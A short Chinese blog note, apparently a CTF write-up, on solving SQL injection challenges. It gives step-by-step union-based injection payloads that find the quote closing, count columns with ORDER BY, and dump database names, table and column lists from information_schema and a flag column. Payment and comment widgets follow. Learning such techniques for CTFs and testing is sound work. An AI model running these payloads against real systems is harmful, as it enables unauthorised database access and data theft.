2021-08-12

SQL注入题

一,基本操作点

​    1,验证查询  

​        a,输入一个正常查询,观察正常查询界面

​        b,输入一个错误查询,观察错误查询界面

​    2,检查注入类型(判断sql语句闭合方式)

​        a,加上`'`时,界面无回显,可以判断后端的sql语句应该是

​            select xxxx from xxxx where id = 'input_id' [xxxx]

​            select xxxx from xxxx where id = ('input_id') [xxxx]

​            常用的闭合方式还用`id = "input_id"`,`id = ("input_id")`,`id = ('input_id')`等等

​            在`id = 1'`的值后面加上注释符`#`之后发现界面正常显示,所以可以断定sql语句的形式是`id = 'input_id'`。

​    3, 判断列数

​        可以使用`order by`子句判断返回的列数。当构造`post`参数中的`order by`为`5`时,界面无回显、值为`4`时有回显。所以后端返回的列数应该是`4`。

​        id=1' order by 5 #

​    4,判断后端返回的前端显示的格式

​        id=-1' union select 1,2,3,4 # 

​        <img src="https://img-blog.csdn.net/20181010155848361?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2h1YW5naGVsb3V6aQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" alt="img" style="zoom: 33%;" />

​    5 union select

​        id=-1' union select 1,database(),user(),version() # 

​        id=-2' union select 1,2,3,(select group_concat(table_name) from information_schema.**tables** where table_schema=database())#  //查询当前数据库的全部**表**名

​        // group_concat(): 例如select id, group_concat(price separator ';') from goods group by id;  所有同id的price在一个单元格显示

​        id=-2'  union select 1,2,3,(select group_concat(column_name) from information_schema.**columns** where table_name='fl4g')# //查询指定表的**列**

​        id=-2' union select 1,2,3,(select skctf_flag from fl4g) *#*  查指定列的所有数据

​        

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值